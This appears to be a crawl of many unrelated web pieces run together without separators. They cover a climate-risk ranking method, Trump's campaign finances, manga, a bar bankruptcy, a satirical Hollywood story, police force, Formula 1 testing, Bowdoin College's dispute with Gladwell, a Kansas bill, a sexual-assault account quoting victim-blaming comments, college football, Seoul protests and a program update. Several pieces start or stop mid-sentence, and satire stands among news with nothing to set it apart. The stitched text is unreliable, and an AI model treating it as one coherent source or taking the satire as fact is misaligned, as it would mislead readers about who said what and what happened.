5-6. Changes in precipitation, temperature. After a conversation with David Easterling of NOAA’s National Centers for Environmental Prediction, we decided that the best approach for precipitation and temperature change was to look at future predictions based on climate models rather than historical data. He pointed us to the National Climate Assessment, and more specifically the “Future Climate Change” section of the report and Appendix 3, which further breaks down the data. Page 756 offers temperature maps, pages 757 and 758 offer precipitation changes during winter and summer, respectively.
A couple notes about these two factors. First, we chose to consider wet places getting wetter and dry places getting drier as equally disruptive. We consulted with Nick Wiltgen, a senior digital meteorologist for weather.com, about this, and while he said this is a simplification (and offered another resource against which to compare this data) he said it was a fair route to take. Secondly, for both temperature and precip, the Appendix doesn’t contain specific city lists or specific degree/inch numbers. Rather, based on Easterling’s recommendation, we looked at the range changes showed on the pages listed above. He said this was a scientifically valid approach to take because a) the NCA itself includes many different analyses, and b) we weren’t trying to determine specific numbers but rather determine a rank. We used RCP8.5, “the most aggressive emissions scenario in which greenhouse gases continue to rise unchecked through the end of the century,” according to the USGS.
Once we analyzed each of these factors, we gave them a score, with 200, 100 or 50 being the most (depending on the weight of the category) and 0 being the least. When a scale wasn’t easily determined, we used this formula, f(x) = (y2 - y1)/(x2 - x1) * (x - x1), provided by Benjamin N. Wilson, Ph.D., of the University of North Carolina at Chapel Hill Math department (also Michele's brother). It’s an interval formula, for which y1=0, y2=100, x1 and x2 were the top and bottom of the interval being mapped, and x was the number we were trying to calculate.
Here’s an example, using urban heat islands:
The top-most degree change is 7.3 (x2). The bottom degree change is 0.4 (x1). So the first half of the formula is (100-0)/(7.3-0.4) = 14.4927536
Let’s say the temperature degree change we’re looking at is 5.9 degrees. 14.4927536 x (5.9-0.4) = 79.7 (We rounded up, so in our analysis, this is 80.)
Finally, once we had a numerical value based on a point scale for each city in each of these categories, we added them up. The 25 with the highest total scores made our list. Along the way, we consulted with Michael Mann, Katharine Hayhoe, and David Easterling. Read a Q&A with Mann and Hayhoe here about their thoughts on our final list.With any luck, Donald Trump’s bigotry, demagoguery and all-around unsuitability for high office will eventually prevent him from becoming president. But he may face an even bigger obstacle: His money, or lack thereof.
Strange as it sounds, Trump doesn’t have the money necessary to run a successful general election campaign against the Democratic nominee. And as I’ll explain, he has nowhere to get that money.
Already, Trump is thinly resourced against Ted Cruz, who has invested in a field organization that may give him enough wins to deny Trump a first-ballot victory at the Cleveland convention. Trump does have enough dough to close the spending gap with Cruz, but so far he’s seen no reason to spend it.
Discussions of money are out of fashion in politics, and with good reason. Jeb Bush blew through $130 million and all he got was a lousy T-shirt with an exclamation point. Marco Rubio has gone nowhere despite tens of millions in Super PAC support. The 2016 also-rans have proved once again what those of us who covered such well-funded candidates as John Connally, Phil Gramm, Pierre du Pont, Steve Forbes, and Rudy Giuliani learned a long time ago: Money is more important in state and local races than in presidential campaigns, which are dominated for much of the season by “free media” coverage (debates, news) and the momentum created by it.
The campaign so far has simultaneously reinforced and scrambled that point. Trump’s self-styled pluto-populism and claim that he’s self-funded have been important parts of the pitch. Interviews with voters show that “he can’t be bought” is right up there with “he’s not politically correct” and “he tells it like it is” in explaining his appeal.
Notice how you hear a lot less talk about Super PACs these days, unless it’s Bernie Sanders railing against them. Republican candidates who once reveled in their support from billionaires now cower in silence as Trump attacks them as tools of donors and lobbyists. It’s hard to believe that less than a year ago a stream of candidates went to kiss the ring of Sheldon Adelson. Now Adelson, the Koch brothers et al have indicated that if Trump is the nominee, they’ll be on the sidelines or concentrating on down-ballot Republican candidates.
But none of this matters, you say, because Trump can self-finance, right? Or get the money from his fervent supporters? Wrong and wrong.
Let’s take a quick look at what’s involved in financing general election presidential campaigns, which from Watergate until Barack Obama opted out of public financing in 2008 were largely funded by the one-dollar voluntary check off on tax returns.
Like primaries, general elections are dominated by free media. Swings in polls are often related to external events or changes in momentum. But the field of battle is much bigger and more expensive to play on—around 125 million to 130 million voters in November compared to 25 million to 30 million in contested primaries. Even as spending in the general is mostly limited to a dozen or so battleground states, the money needed to be competitive has risen sharply.
That’s because recent presidential contests have been “mobilization elections” more than “persuasion elections.” In other words, they’re about turnout rather than using free and paid media to convince a dwindling number of undecided voters to come to one side. This is especially the case because of the need to harvest millions of early voters, who vote well before Election Day and increasingly dominate in many states. So hard-core Trumpists won’t be enough. To win, Trump would need to pull more lightly committed voters to the polls in numbers that dwarf the total numbers who voted for him in the primaries, not to mention the total of all cable news viewers.
Building a get-out-the-vote organization that uses sophisticated micro-targeting and newfangled multi-platform advertising is costly. And traditional (and very expensive) ways of reaching voters cannot yet be discarded. When strapped candidates in recent cycles “went dark” (pulled broadcast TV ads) in various states, they almost invariably tumbled in polls.
In 2012, Obama became the first candidate to break the $1 billion barrier (he raised more than $1.2 billion altogether), while Mitt Romney spent about $850 million. Unlike presidential primaries and state and local races, where the biggest spender doesn’t always win, the general election presidential candidate with the most money has won every contest in recent history, with the possible exception of 2000 (for reasons involving calculations of labor spending too boring to explain).
Taking a cue from Obama’s state-of-the-art 2012 campaign, Hillary Clinton has figured all along that she, too, would need more than $1 billion to be elected. So far, she’s raised about $200 million, with another $60 million or so coming from Super PACs. If the 2012 Obama campaign is any indication, that’s on track to meet her goal.
And Trump? As of the Feb. 20 FEC filing, he had raised $27.3 million, about the same as John Kasich. Of that, he had lent his campaign $8 million and raised $4 million in small donations from 74,000 supporters. Trump’s claim on the stump that he doesn’t have a Super PAC is just another lie. The wealthy family of his son-in-law, Jared Kushner, started one that has raised $1.8 million.
Trump’s argument is: Why spend unnecessarily? He has no pollster, few ads, and a small field organization. He builds momentum with big rallies and a brilliant understanding—born of 40 years experience—of how to manipulate the media with an outrageous and constantly changing storyline.
This has worked well so far but as Trump’s act wears thin, he will need money to stay competitive on the ground—especially because he plans to expand the battlefield by running hard in traditionally blue states like Wisconsin, Pennsylvania, and (Trump insists) New York.
If Trump is as rich as he claims, this would be no problem. When he announced for president last June, he said he was worth $8.7 billion. In November, when he released financial statements showing a 2014 income of $362 million, he upped his net worth in a press release to $10 billion. If true (and he still refuses to release any tax returns that would prove his boasts), devoting just a tenth of his fortune to a presidential campaign would be plenty to make him competitive.
But by Trump’s own reckoning, $3.3 billion of his net worth comes from real estate licensing fees, which are only part of his non-liquid assets. Forbes last year downgraded its estimates of his fortune to $4 billion, which if accurate would mean that—minus licensing fees—Trump would need to liquidate almost all of his remaining pile to make the race competitive financially.
Some estimates suggest Trump is actually much less wealthy than that. Former New York Times reporter Timothy O’Brien wrote a well-researched book about Trump that a decade ago estimated his net worth at only $150- $250 million. Trump sued. In a 2006 deposition, Trump was asked under oath what his net worth was. “I would say it’s my general attitude at the time the question may be asked,” Trump said. “And as I say, it varies.” Trump lost his suit, and he later lost a boatload in the 2008 recession before recovering some in recent years.
Let’s give Trump the benefit of the doubt and say he could give around $100 million to his own campaign. But would he? So far he has given exactly nothing, and he lent only a comparative pittance that could easily be covered by other contributions. And that $100 million wouldn’t be enough to make a difference against Hillary’s $1 billion. The RNC, by the way, is mostly a shell and raises relatively little for its presidential candidate outside of that candidate’s own war chest and supportive PACs.
If Trump is nominated, he will no doubt ask his supporters to step up and contribute more. But he would need 10 to 20 times as many small donors as he currently has to reach the number who contributed to Obama. And it takes money to raise money. Obama spent $250 million on a digital campaign partly aimed at generating such small donations.
Even with his small donor success (now also enjoyed by Bernie Sanders), Obama in 2012 still relied on big donors for more than half of his take. So will Clinton. A longtime believer in donor maintenance, she’s well-positioned to keep raking it in from heavy-hitters.
Trump doesn't have that luxury. He bragged at the March 10 debate in Miami that lots of donors had been trying to give him money and he has refused it so far, but might change his mind in the general.
Translation: After he’s nominated, Trump would try to cut deals for big donations from the same lobbyists and billionaires he’s been bashing. While his hardcore supporters might overlook this flagrant hypocrisy, he will still be far short of what he needs. Corporate PACs won’t contribute much—he’s far too controversial among their customers. And wealthy new supporters like Carl Icahn and T. Boone Pickens are unlikely to be good for Adelson-size donations, especially since Trump himself is too poor or cheap to pony up on his own behalf. It would take 200 plutocrats at $1 million a pop to make a difference—a goal that Mitt Romney didn’t come close to achieving. Romney and others mostly built their war chests the old-fashioned way—trooping to endless fundraisers beginning two years before the election. Trump might raise $100 million or so that way but it won’t be easy or nearly enough. Barron’s reported last week that large numbers of Wall Street Republicans are planning to hold their noses and vote for Clinton. Those who back Trump will likely do so reluctantly and without their checkbooks.
All of this means that if he’s the nominee, Donald Trump is likely to be outspent this fall by 2:1, 3:1, 4:1 or more. After four bankruptcies, he should know what happens in a competitive market when you’re badly under-capitalized.Bleach’s author Tite Kubo is apparently set on keeping Bleach going for at least another 10 years, remarking that it is only halfway through.
Kubo’s remarks were reported by 2ch-frequenting attendees of the recently held Jump Festa, where he took the stage to talk about his creation:
“It’s about halfway through the story at the moment. […] At the very least, I’ll be doing it for another 10 years.”
Another version has him being asked “So will you be keeping it going for the next 30 years?” to which he responds “I think I’d like to make it a bit shorter than that,” with the other speaker quipping that “It should be continuing for at least another 10 years!”
Both accounts agree on him saying he is about half done however, which for a 10-year-old title would rather suggest another 10 years to go.
Reactions to all this are mixed to say the least, ranging from enthused to horrified…The place was done in by its own jukebox. Photo: Shanna Ravindra
There are no such things as buybacks at Continental, not because of stingy house policy but because owner Trigger Smith liquidates all shots, at five for $10, during all opening hours. The borderline loss leader strategy is one of the Third Avenue dive’s most endearing qualities and enduring lures, all of which is to say it’s rotten to hear that Smith says the $49,762.96 he owes to his jukebox operator has pushed him to file for bankruptcy.
It’s the second such maneuver of its kind since 2009, and now it’ll take 24,881 picklebacks to pay the settlement, which has been forthcoming since 2006, the year the bar morphed from a performance venue into a more straightforward bar. In the ‘90s, the place was known as Continental Divide, and was a full-fledged rock venue where Joey Ramone was known to stop by and take in the chord changes.
Smith says he’s doing “everything in my power to keep this bar going,” which is good, because it certainly seems like the East Village is losing its crummiest, most venerated places. Manitoba’s on Avenue B has also been imperiled by the cost of settling a lawsuit, its owner said last week.
[Eater NY]Has Had More Than 250 Stars And 300 Directors Attached, Been Rewritten 600 Times
BURBANK, CA—According to Hollywood sources, Warner Bros. Entertainment officially acquired the rights this week to the long- unproduced film project entitled The Final Symphony, which has reportedly been floating around in various states of production with seven different studios since 1935.
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The script, believed to have been originally written seven and a half decades ago as a vehicle for Clark Gable, has since undergone at least 600 drafts by 2,250 different writers, and was at various times attached to hundreds of different Hollywood stars, including Spencer Tracy, Paul Muni, Tyrone Power, Montgomery Clift, Sidney Poitier, Burt Reynolds, Dudley Moore, Cher, Liam Neeson, and Justin Long.
Film historians said the script has been making the rounds as a hot Hollywood property for so long that no one currently working in the American film industry can remember its exact genesis.
"It's impossible to say who the original screenwriter was, because the original director, along with most of the people who worked at the studio at that time, has been dead for well over 30 years," film historian Richard Schickel said of the movie, which has been known variously over the years as The Vengeance, Hearts On Fire, Final Symphony 3D, ¡Arriba, Arriba!, Finding Billy Harper, Boogly, and Untitled Eric Roberts Project. "Besides, so much has changed since then that the original script would probably be pretty hard to recognize."
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"It supposedly had a crackerjack supporting role written for Basil Rathbone in it, though," Schickel added. "Which was subsequently rewritten for Mickey Rooney, and later Gene Wilder and then Chris Tucker."
Continued Schickel, "And then Rob Schneider, Wanda Sykes, and Jonah Hill."
According to dozens of sources who have read some version of the script in the past 75 years, the film concerns a soldier coming home from war and, depending on which version of the script sources saw, is either a "seriocomic love story," a "brooding psychological thriller," a "wild cinematic joyride for the post-Tarantino generation," or "a propaganda film financed by the War Department."
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Nearly every major Hollywood movie studio has previously owned the rights to the script, including Warner Bros. itself, which bought the screenplay from MGM in 1951 when it was an unproduced Vincente Minnelli musical, sold it to Paramount a short time later, and then bought it from MGM again in 1962 before selling it back to Paramount as a Jerry Lewis army comedy the following year.
"There was a period in the late '60s where nobody knew who had it, and it turned out Darryl Zannuck had sold it to a Hong Kong studio that tried to make it into some sort of martial-arts costume drama," said Final Symphony scholar and onetime would-be Final Symphony director Peter Bogdanovich. "But the funding fell through and it eventually found its way back to America, where, oddly, Charlie Chaplin, I believe, who was quite old at the time, tried to make it as a sort of comeback project."
Throughout the 1950s, Orson Welles famously attempted to helm the project under the title The Reckoning Of Madison Creek, funneling millions of dollars of his own money into the project and eventually bankrupting himself, an experience chronicled in the Oscar-winning 1978 documentary The Reckoning Of Orson Welles.
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"This being America, we all have our white whales, so to speak, and that script was mine," Welles said in the documentary. "I still believe it would make a great picture, though. The third act needs work, sure, but goddamn it I'd love to take a crack at it again if I could just get the financing."
While Warner Bros. executives are reportedly happy with the shape the script is in, they said it would receive one final last-minute rewrite from screenwriters Scott Frank and Steven Kloves, as well as a polish from veteran writer William Goldman, who drafted a full rewrite of the script in 1966 when it was being conceived as a buddy picture for Robert Redford and Paul Newman, and did so again when it was being considered as a possible California Raisins claymation feature film in 1989.
"It's been a bit of a rocky road for this project, but we intend to begin shooting very soon," Warner Bros. CEO Barry Meyer said. "David Fincher had to pull out due to a scheduling conflict, but we are currently looking at a number of other directors, including Danny Boyle and David O. Russell."
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"Although Russell will only do it if we can get Jack Nicholson to commit for the role of the father, which is unlikely considering he passed on the part of the son in 1969," Meyer continued. "In any event, we should be all systems go for sometime around spring 2015."See!? There really is accountability in the war on drugs. All you have to do is get video of a cop nearly killing a guy over a petty misdemeanor. Seriously though, as rare as this is, it does send an important message that there can be consequences for police who use excessive force against peaceful suspects:
MT. JULIET, Tenn. (AP) - A Tennessee police officer has pleaded not guilty to aggravated assault charges after he was caught on video using a chokehold on a man suspected of hiding marijuana in his mouth.
An attorney for Cpl. William Cosby says he pleaded not guilty Thursday.
A lawyer for the city of Mt. Juliet, about 20 miles east of Nashville, says Cosby has been fired.
Cosby's attorney, Chuck Ward, says the decision to fire Cosby shows the city believes him to be "guilty until proven innocent."
Video from a city police car shows Cosby using a chokehold on 26-year-old James Lawrence Anders Jr. during an April traffic stop. The video then shows Anders passing out.
Charges including marijuana possession were later dropped. Anders is suing over the incident.
The story went out on AP and was covered in several news outlets. One thing that remains unclear to me is whether the suspect ever even had any marijuana. If anyone can locate additional coverage or the actual video, please send it to me
[Thanks, Nate]
Update: That was fast. You can watch the video here. There was no marijuana in the suspect's mouth and he tested negative for marijuana use. Thanks, Zane.Formula 1 tyre supplier Pirelli has called for the resurfacing of the Jerez Circuit in Southern Spain. With new much wider tyres and new aerodynamic regulations being introduced in Formula 1 in 2017 winter pre-season testing has taken on a new importance, but venues for those tests are proving somewhat scarce.
Jerez which last held a Formula 1 test session in 2015 had become the regular location for the crucial first pre-season tests has undergone a number of resurfacing attempts over the years with the full circuit covered in 2005, and adjustments made again in 2007/2008, but by 2015 the surface was found to be far too rough and abrasive.
"Jerez is a very good circuit in many ways but the surface roughness is off the scale,” Mario Isola Motorsport Racing Manager at Pirelli reveals. “To give you an idea, the last time we went there we measured the surface roughness it was twice as rough as any other F1 circuit. The track layout and location is very good for F1 testing because of the weather but they should resurface it.”
The opening test of the 2017 pre season will be the first time that Pirelli will be able to run its new tyres on a car built to the new regulations. Current testing on the wider rubber has been done using older cars which have been specially modified which Pirelli and the Italian brand is keen to have more testing in 2017 and not all of it at Barcelona.
"The pre-season testing in 2017 is very important for us and it needs to be in representative conditions on representative tracks. Eight days of running as we had in 2016 to be honest is not enough,” Isola contests. “We have a long season with 21 different circuits, so doing all of the testing at the same circuit is not the best solution for us, ideally you should have a couple of circuits with different characteristics.”
The problem faced by Pirelli and Formula 1 is that most European circuits suffer from inclement weather conditions during the first three months of the year while teams are not thought to be keen on testing outside of Europe early in the year, not only for reasons of costs but also logistics, as it takes much longer to get parts to Bahrain or Abu Dhabi than it does to get them to Spain.
"It has become very difficult to find a circuit for testing in Europe because of the weather, Le Castellet (Paul Ricard) for example seems an obvious place to run but sometimes in January and February you can get snow there. Barcelona is a good track for testing but sometimes in February the conditions are not ideal and the temperature there is nothing like it would be during the race there in May,” Isola adds. “The other alternative to Barcelona for testing is the Middle East: Bahrain is a good track, Abu Dhabi is good for testing the soft tyre too.”
No plans for a resurfacing of Jerez have been announced, and with the economic situation in the surrounding area remaining bleak such work seems unlikely. Formula 1's pre season test dates and venues have yet to be revealed but Barcelona seems certain to host at least two tests.
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Share this pageUpdated: Bowdoin Responds to Malcolm Gladwell’s ‘Food Fight’ Podcast Archives
Bowdoin’s statement about Malcolm Gladwell’s “Food Fight” podcast was updated on Saturday, July 16, to provide additional information and to respond to Mr. Gladwell’s comments and messages on social media (jump to the update below).
Malcolm Gladwell’s podcast “Revisionist History” (aptly named) takes a manipulative and disingenuous shot at Bowdoin College that is filled with false assumptions, anecdotal evidence, and incorrect conclusions.
In the most recent episode, “Food Fight,” Gladwell argues that Bowdoin’s reputation for excellent, healthy food means that the College is not focused on providing opportunity for low-income students. Nothing could be further from the truth.
Bowdoin’s commitment to meeting the full financial need for all admitted students is longstanding, unwavering, and unassailable. And it has nothing to do with food.
Here are the facts:
Bowdoin has one of the most generous need-based financial aid programs in the country.
Bowdoin is one of only fifteen colleges in the United States that provides need-blind admission, meets the full need of all who qualify for need-based aid, and meets 100 percent of need with grants only.
Bowdoin does not require loans as part of its aid packages.
The average grant for Bowdoin students on financial aid is currently in excess of $40,000 a year.
Fifteen percent of students in the incoming Class of 2020 are first-generation college students.
Bowdoin’s dining operation is self-run and self-supporting. The College does not subsidize the operation from other revenue streams or endowment. Dining expenditures represent 6.2 percent of Bowdoin’s operating budget.
Ninety-six percent of Bowdoin students sign up for the meal plan, which means they are not having to spend money off campus to eat.
A Disingenuous Approach
Rather than seeking to learn about Bowdoin’s financial aid practices, our record of supporting first-generation college students, and providing financial aid to both low-income and middle-income families, Gladwell and his producer focused only on Bowdoin’s food in a manner that was disingenuous, dishonest, and manipulative. Their only questions were about food and were directed at dining service staff and students, not the president, not the chief financial officer, not the dean of admissions, and not anyone else. Where were the questions for Bowdoin about student aid, institutional values, Bowdoin’s commitment to low-income AND middle-income families, etc., etc.?
Below is the full text of the e-mail sent by Gladwell’s producer to a Bowdoin dining service employee on February 17, 2016:
My name is Jacob and I’m a producer on an upcoming podcast with Panoply.fm, Slate magazine’s podcasting network. One of our episodes is focusing on campus food and amenities. I’m specifically investigating the food at Bowdoin, which tops lists of the best campus dining in the country, as an example of how good college food can get. I would love to get a quick recorded tour of one of your kitchens and dining hall for this episode. I’m hoping to come to campus this weekend or Monday of next week. Let me know what would work best for you. If there would be someone better for me to speak to about this, please let me know as well.
***
Everything we do at Bowdoin is part of the educational experience, including our food, and we are extremely proud of the dining service staff who provide that food. Ask any Bowdoin student about dining and they will speak enthusiastically about the staff, their hard work, their level of caring, and about the strong relationships they build with students over four years and maintain thereafter. At Bowdoin, dining isn’t just about the necessity of eating. It is about bringing students together with peers of different backgrounds and experiences, and with faculty and staff. We see nothing wrong with making sure these members of our community actually want to gather in our dining facilities to eat healthy food.
This healthy food that Bowdoin provides is part of a longstanding tradition and a point of pride at the College, not, as Gladwell suggests, some recent marketing tactic to attract privileged students used to such fare.
The facts are clear. Bowdoin is committed to access and opportunity for students of all backgrounds, and is a leader among educational institutions. We invite Malcolm Gladwell to visit campus to learn more about Bowdoin. We would be happy to answer his questions over a good meal.
Update (Saturday, July 16):
Malcolm Gladwell’s response to the facts Bowdoin presented and the questions we raised leaves something to be desired.
First, this on Twitter:
Then, another tweet…
Well, let us comment.
The above photograph was taken at a Commencement event in 2005. This annual lobster bake, where seniors dine with their families, is one of two lobster dinners a year served at Bowdoin (the other one is for students at the very beginning of the academic year). This particular photograph shows a student, eleven years ago, carrying lobsters to his family—lobsters they very likely paid for.
Yes, the College does cover the cost of the lobsters—through its self-sustaining dining service—for the graduating seniors at this event. And we also give tickets to families who are stretched financially. But everyone else pays. The good news is that this is Maine, where a lobster dinner costs the College only about $5.00 more than your average meal. And it is worth noting that based on data from the National Association of College & University Food Services 2016 Operating Benchmark Study, the cost of our (made from scratch) food is below the average per meal cost |
Ashe wrote, "If they had reason to wonder at the speedy beatification of its founder in 1992, 17 years after his death, their mystification will double as they see him through Tapia's eyes: a self-preoccupied, authoritarian man given to loud and angry tantrums."
While it seems that the teachings of Josemaria Escriva de Balaguer have left their mark on candidate Santorum, the question to which we deserve an answer is just how far does Santorum's admiration for Opus Dei's founder extend to his vision for America?? Supporters of a “religious freedoms” bill said Tuesday it would protect religious beliefs, but opponents said the measure would allow widespread discrimination against gays and lesbians.
Lori Wagner, of Lawrence, said she and her wife “will become the victims of real and legally sanctioned discrimination,” if House Bill 2453 becomes law. Wagner was married in 2012 in Iowa, which recognizes same-sex marriages.
The bill, heard in the House Federal and State Affairs Committee, says no individual, business or religious group with sincerely held religious beliefs can be required by any government agency to provide services, facilities, goods, employment or employment benefits for a same-sex marriage or domestic partnership.
Supporters of the bill said the bill was needed to provide legal protection for wedding-related businesses, such as florists and photographers, who refuse to work at same-sex weddings or ceremonies because they held religious beliefs that same-sex marriage was wrong.
Robert Noland, with the Kansas Family Policy Council, said Kansans shouldn’t be compelled to do something their religion said they shouldn’t do.
Michael Shuttloffel, executive director of the Kansas Catholic Conference, said, “Do we really believe mom and pop businesses should be shut down because they won’t compromise their sincere religious beliefs?”
But opponents of the bill said the proposal was much broader than applying only to wedding-related situations.
State Rep. Emily Perry, D-Mission, questioned whether under the bill a police officer could cite religious reasons and refuse to render aid during a domestic disturbance that involved a same-sex couple
Micheline Burger, with the Mainstream Coalition, said that the bill would allow a waiter to refuse to serve a same-sex couple.
“This allows anyone in a private business or governmental entity, if you have religious beliefs that are sincerely held, to discriminate against anyone,” Burger said.
She said the arguments for the bill were the same as those who in the past opposed marriages of blacks and whites or Jews and Catholics.
State Rep. Charles Macheers, R-Overland Park, introduced the bill, saying it would “protect religious freedoms on both sides of the marriage debate.” But Tom Witt, executive director of Kansas Equality, said the bill was a pre-emptive strike to “maintain discrimination” against gays and lesbians if Kansas’ ban on same-sex marriage is ruled unconstitutional as similar bans have been struck down in Oklahoma and Utah.
A fiscal note on the bill said it would cost $275,000 through July 2015 to defend legal challenges that would arise from the measure. It also said the court system would have trouble with a provision in the bill that says courts must decide within 60 days whether the claimed protection applies.Chalk off FetLife, a members-only social network run by and for fetish enthusiasts, as yet another purportedly non-judgmental, welcoming online community that hosts a shocking number of slut-shaming misogynist assholes.
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FetLife user Dayna posted about being sexually assaulted on Halloween on the site, where she has a "bunch of friends" who she thought would be interested in hearing her story. By the next day, her piece had over 500 comments — many of which were from people telling her that she wasn't really assaulted, just an irresponsible idiot who got what was coming to her.
Dayna was walking through a populated campus area in Belfast, Ireland on her way to a bar — sober, dressed in men's jeans and a zipped-up hoodie — when she was approached by a "gaggle of revelers" who asked her what she was dressed up as. She smiled and said she didn't have a costume this year. Should she not have smiled, she later wondered?
From her story (which is only accessible if you have a FetLife account):
"She's not dressed up, give her a kiss!" I'm laughing. Should I not have laughed? I'm still walking, not even slowing down. I roll my eyes and dismiss them. Yellow crayon circles around the front of me. "Happy Hallowe'en! I like your outfit." "C'mon, you gotta gimme a kiss for not being dressed up, it'll make you feel better." "I've gotta get somewhere, but you have a good night, okay?" "Just the one and I'll go. Come on! The sooner you do it the sooner I'm gone." He's standing in my way and the dog [man in costume] is behind him watching and urging him to follow. Whatever, I bump my jaw against his mouth and try and walk off. He grabs my wrists. Apparently that wasn't good enough. I notice he's actually holding them really friggin' tight. I'm trying to laugh it off, and I tell him my sister's waiting in the car for me and I'm late - he's still not letting me go. Dog is walking away bored. I don't see anyone else. I'm afraid. My voice is getting a little too shrill and a little too loud. He's really hurting my wrists. I twist one arm and get it free. He grabs my boob instead, and uses it to literally pull himself towards me, tonguing all over every part of my face he can get. It's so painful I cry out. I am quite clearly struggling. I am being loud, shrill, and panicked. No one, but no one, could have mistaken this for acceptable.
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She said two women witnessed and ignored the incident, which made her so angry that she continued on straight to the bar, where she tried to dance and forget what happened, but couldn't stop blaming herself:
Why did I bring it on myself? Fuck, why am I blaming myself? My bad it happened, my bad for thinking that, my bad for not doing this, or this, or this. Angry at my friends for not being mindreaders and then angry at myself again for expecting them to be. Angry at the world that allowed this dude to get to his early twenties without learning what is and is not okay to do to other people. Angry at the world that made those two ladies too afraid to stop him. Angry at the world that makes me too afraid to tell my mother who would hold me and soothe me and cry with me if she knew. Angry at the world that had sexually brutalised her to the point that this information would destroy her. Angry that the justice system (scoff, scoff) doesn't give a fuck and can do nothing. The I don't care, get over it, it wasn't a big deal and also kinda your fault, system. I'm so angry. I'm so angry people still try and deny rape culture exists as a pervasive, damaging, unacceptable part of our society.
I'm so angry about what has to happen for people to notice.
I'm so angry about what happens and they still don't notice.
I'm so angry.
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Here are just a few responses to her post:
I'm sorry for your terrible experience but I don't read anywhere that you kicked him in the gonads, fought like a banshee, screamed right in his ear, yelled "Fire! Police! Help!", drew blood with your nails, went fuckin' primal on him!!!
Expecting passers-by to help or guess you are truly in distress by your eyes is simply not enough. YOU are responsible for YOU.
there is no rape culture. That's just the new mantra of those who would rather bitch up a storm in protest then actually do what is necessary to change their local culture. It also is being used to tell women they have absolutely no responsibility whatsoever in any incident. And it means they'll get a rally of support no matter the actual circumstances.
I've no idea why you term this day & age a rape culture when it is far less so than ever before in history. the examples are endless and need not be pointed out to those who are literate, or educated-as history speaks for itself.
I do know that when two or more males get together (add alcohol), the pack mentality allows them to do things they otherwise never would attempt. That is one reason females instinctively feel apprehensive when approached by a pack of males~it is a survival instinct kicking in to try to save our asses from ourselves. ~you see, we walk alone in the dark without the protection of a man because we have been told a modern woman can take care of of herself, needs no escort and need not take sensible precaution-she can go where she wants anytime and handle anything that comes up...well she better be damn sure she Can or be prepared to feel the consequences, because women's lib never "fixed" the pack mentality nor lit up the night.
So what do you do after this...instead of going to the police you go off and get plastered to a stupor clubbing with your friends and later after you get home you get plastered yourself on rum. That tells me you handle much of your problems with alcohol. Your bad.
why is no one here talking about the FACT, that you sort of LEAD THEM ON BY SMILING AND LAUGHING! Next time this happens, dont smile and laugh ok, ow those guys might get the wrong idea that you are ok with it, coz smiling usually means sure fine.
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Dayna's experience with FetLife reminds us of Rebecca Watson's horrific account of rampant misogyny in the skeptic community. You'd expect a certain amount of enlightenment from a social network that celebrates alternative sexuality, right? Well, looks like you'd be sorely disappointed.Oct 11, 2014; Tucson, AZ, USA; Southern California Trojans defensive coordinator Justin Wilcox against the Arizona Wildcats at Arizona Stadium. The Trojans defeated the Wildcats 28-26. Mandatory Credit: Mark J. Rebilas-USA TODAY Sports
Wisconsin Basketball: Badgers return home to take on Ohio State Buckeyes by Trevor Jossart
Wisconsin Badgers defensive coordinator Justin Wilcox reportedly interviewed for the California Golden Bears head coach position.
Roughly a year after the Wisconsin Badgers saw defensive coordinator Dave Aranda leave Wisconsin to take the same position at LSU, the program could experience deja vu this time around.
Justin Wilcox, who was brought over from USC to take the same position at Wisconsin, reportedly interviewed for the California football head coaching position, sources indicate.
#Badgers defensive coordinator Justin Wilcox has interviewed for the Cal head coaching vacancy (@BruceFeldmanCFB) — Badger of Honor (@BadgerOfHonorFS) January 11, 2017
Wilcox just wrapped up his first full season with the Badgers. After loads of uncertainty heading into this season, his defense remained one of the best in the nation, ranking seventh in total defense and fourth in points per game allowed at just 15.5.
Wilcox certainly is familiar with the Pac 12, having spent a season at Washington as defensive coordinator before moving over to USC. He also has ties to California when he served as the linebackers coach there from 2003-2005.
The Bears are looking to find a replacement for Sonny Dykes who was relieved of his coaching duties after a four-year stint with the program.
With Sonny Dykes out at #Cal, expect #Wisconsin/former #USC DC Justin Wilcox to get strong consideration for the HC vacancy — Bruce Feldman (@BruceFeldmanCFB) January 8, 2017
Other names in the mix are current offensive coordinator Jake Spavital and former Oregon Ducks coach and recent 49ers’ lead guy Chip Kelly.
Stay tuned for further development.SEOUL (Reuters) - The South Korean government vowed on Sunday to crack down on any more violent protests, a day after dozens were arrested during a rally against labor reforms, the largest street protest of President Park Geun-hye’s term.
A riot policeman is held by protesters as water mixed with tear gas liquid is sprayed by police water canon to disperse protesters during an anti-government rally in central Seoul, South Korea, November 14, 2015. REUTERS/Kim Hong-Ji
Organizers say they will take to the streets again on Dec. 5.
More than 60,000 people took part in Saturday’s protest, according to police, and a group of a few dozen fought with the police at the front line, trying to break through barricades of police buses blocking off downtown Seoul’s main thoroughfare.
Police used water canons to disperse the crowd and sprayed liquid laced with an irritant found in chilli pepper to fight off protesters swinging metal pipes and sharpened bamboo sticks.
“The government was fully prepared to guarantee a lawful and peaceful rally, but some people came prepared with illegal equipment such as steel pipes and conducted a violent protest,” Justice Minister Kim Hyun-woong told a news conference.
“These activities were a grave challenge to law and order and public authority, and they will not be tolerated.”
The police arrested 51 people and are questioning them on various charges including illegal protest, assaulting police officers and destroying public equipment.
The police said about 10 protesters were injured, including a member of a militant farm activist group who was knocked down by a water canon blast. He was in stable condition after emergency surgery on Sunday, a police official said.
Some of the country’s most militant labor and activist groups were involved in the protests, including Han Sang-gyun, the president of the Korean Confederation of Trade Unions, who is wanted under a warrant for organizing previous illegal rallies.
“It was led by some of the most organized elements — labor, farm, anti-poverty activists, which was a little different from when there was more public participation,” said Yu Chang-seon, an independent political commentator.
Protestors say the labor reforms benefit only the country’s huge family-controlled conglomerates, and make it easier to fire workers.
Park, who had left earlier on Saturday for Turkey to take part in the summit of G20 nations, has seen her public support ratings fall recently over a decision to replace privately published school history textbooks with a government version.
The protests do not, however, appear to pose an immediate threat to Park or her conservative Saenuri Party, which is well ahead in opinion polls, scoring 39 percent in a Gallup survey of 1,012 people released on Friday, while the largest opposition party, New Politics Alliance for Democracy, polled 22 percent.
Parliamentary elections take place next April.Written by Bryan Prillaman
Level 3, United States, Florida
Thanks for joining us for the latest update for the Exemplar Program. In this update we will:
Release the Wave 3 Nominations and begin collecting addresses.
Provide an update to Wave 2.
Announce updates to Wave 4.
a
Exemplar Wave 3 Nominations published!
